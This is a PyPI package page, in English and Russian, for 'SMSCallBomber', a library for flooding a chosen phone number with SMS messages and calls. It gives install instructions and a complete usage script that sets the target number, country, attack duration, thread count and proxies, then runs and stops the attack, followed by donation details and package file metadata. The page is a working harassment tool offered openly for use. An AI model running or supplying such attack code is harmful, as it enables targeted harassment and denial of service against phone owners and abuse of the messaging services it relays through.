Skip to main content

A library for SMS and call bomber / Библиотека для SMS бомбера со звонками

Project description

SMSCallBomber

English(Русский ниже)

Description

This library provides functionality for SMS and call bombing.

Installation

You can install the SMSCallBomber library via pip:

pip install SMSCallBomber

Usage

from smscallbomber import SMSCallBomber
import time
import threading
import random
from argparse import Namespace

# Creating an instance of SMSCallBomber
args = Namespace(
    country='Country code (7, 375, 380, 998 or "ALL"). Specify ALL for all countries',
    phone='Phone number without "+" (e.g., 79012345678)',
    time=60,         # Attack duration in seconds
    threads=10,      # Number of concurrent threads
    timeout=5,      # Timeout per request in seconds
    proxy=True,     # True / False or your proxy:
                     # 'http://user:pass@ip:port'
    log_file='bomber.log',   # Set to None(without quotes) to disable logging to file
    log_level='INFO'         # Logging level: DEBUG, INFO, WARNING, ERROR, CRITICAL
)
args.time += time.time()

attack_threads = {}
bombers = {}
bomber_id = random.randint(1000000000, 9999999999)

# Starting the attack
def attack_thread_runner(args):
    bomber = SMSCallBomber(args)
    bombers[bomber_id] = bomber
    bomber.run()

attack_threads = threading.Thread(target=attack_thread_runner, args=(args,))
attack_threads.start()

# Returns the result of the attack after it ends
attack_threads.join()
bomber = bombers[bomber_id]
successful, failed = bomber.send_report()
del attack_threads
print(f"Successfully sent (Not everyone can get there!): {successful}")
print(f"Failed to send: {failed}")

# Stopping the attack
bomber = bombers[bomber_id]
bomber.stop()
attack_threads.join()
successful, failed = bomber.send_report()
del attack_threads
print(f"Successfully sent (Not everyone can get there!): {successful}")
print(f"Failed to send: {failed}")

It is also possible to use in an asynchronous environment if you slightly modify the code and use

await bomber._run()

Donation

If you find this project helpful and would like to support its development, you can make a donation to the author.

  • YooMoney: 4100118510603906
  • Cards:
    • 2200 7009 6755 8080 - Tinkoff
    • 2202 2068 1279 8101 - Sberbank
  • Other methods: t.me/BabayHelpBot

License

This project is licensed under the MIT License.

Русский

Описание

Эта библиотека предоставляет функционал для SMS бомбера со звонками.

Установка

Вы можете установить библиотеку SMSCallBomber с помощью pip:

pip install SMSCallBomber

Использование

from smscallbomber import SMSCallBomber
import time
import threading
import random
from argparse import Namespace

# Создание экземпляра SMSCallBomber
args = Namespace(
    country='Код страны (7, 375, 380, 998 или "ALL"). Укажите "ALL" для всех стран',
    phone='Номер телефона для атаки (без +, например: 79001234567)',
    time=60,            # Время атаки в секундах
    threads=10,         # Количество параллельных потоков
    timeout=5,         # Таймаут каждого запроса в секундах
    proxy=True,         # True / False или ваши прокси:
                        # 'http://user:pass@ip:port'
    log_file='bomber.log',   # Имя файла логов или None(без кавычек) для отключения логирования
    log_level='INFO'         # Уровень логирования: DEBUG, INFO, WARNING, ERROR, CRITICAL
)
args.time += time.time()

attack_threads = {}
bombers = {}
bomber_id = random.randint(1000000000, 9999999999)

# Запуск атаки
def attack_thread_runner(args):
    bomber = SMSCallBomber(args)
    bombers[bomber_id] = bomber
    bomber.run()

attack_threads = threading.Thread(target=attack_thread_runner, args=(args,))
attack_threads.start()

# Возвращает результат атаки после её окончания
attack_threads.join()
bomber = bombers[bomber_id]
successful, failed = bomber.send_report()
del attack_threads
print(f"Успешно отправлено(Дойти могут не все!): {successful}")
print(f"Не удалось отправить: {failed}")

# Остановка атаки
bomber = bombers[bomber_id]
bomber.stop()
attack_threads.join()
successful, failed = bomber.send_report()
del attack_threads
print(f"Успешно отправлено(Дойти могут не все!): {successful}")
print(f"Не удалось отправить: {failed}")

Также возможно использование в асихронной среде, если немного переделать код и использовать

await bomber._run()

Пожертвование

Если вы нашли этот проект полезным и хотели бы поддержать его развитие, вы можете сделать пожертвование автору.

  • ЮMoney: 4100118510603906
  • Карты:
    • 2200 7009 6755 8080 - Тинькофф
    • 2202 2068 1279 8101 - Сбербанк
  • Другие способы: t.me/BabayHelpBot

Лицензия

Этот проект распространяется под лицензией MIT License.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

smscallbomber-2.7.tar.gz (223.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

smscallbomber-2.7-py3-none-any.whl (226.6 kB view details)

Uploaded Python 3

File details

Details for the file smscallbomber-2.7.tar.gz.

File metadata

  • Download URL: smscallbomber-2.7.tar.gz
  • Upload date:
  • Size: 223.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.0.1 CPython/3.10.18

File hashes

Hashes for smscallbomber-2.7.tar.gz
Algorithm Hash digest
SHA256 085edf705be582bb64330ee8cc327e60b4c51bfe7da8d1cc5dd0bf30bb8ac055
MD5 230419a4c376a4ed076138533750e302
BLAKE2b-256 bff490c9f43c8d964a6e7f9d0dd85af87d134a2dae768f6afd656915028b1cc9

See more details on using hashes here.

File details

Details for the file smscallbomber-2.7-py3-none-any.whl.

File metadata

  • Download URL: smscallbomber-2.7-py3-none-any.whl
  • Upload date:
  • Size: 226.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.0.1 CPython/3.10.18

File hashes

Hashes for smscallbomber-2.7-py3-none-any.whl
Algorithm Hash digest
SHA256 d1cc1612dd2ce6274ca8e90f94050a36e0f43890e6bfa08ff3573ab412c652ec
MD5 af30d6106c7c162f65a0397a093f8951
BLAKE2b-256 96f2659694ef54c9d837c7908b16b25046042c83ab3a5de2a72915caea3acf37

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page